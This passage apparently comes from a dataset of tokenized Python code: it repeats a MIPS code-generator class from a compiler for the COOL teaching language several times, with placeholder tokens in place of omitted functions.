node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n <function token>\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n 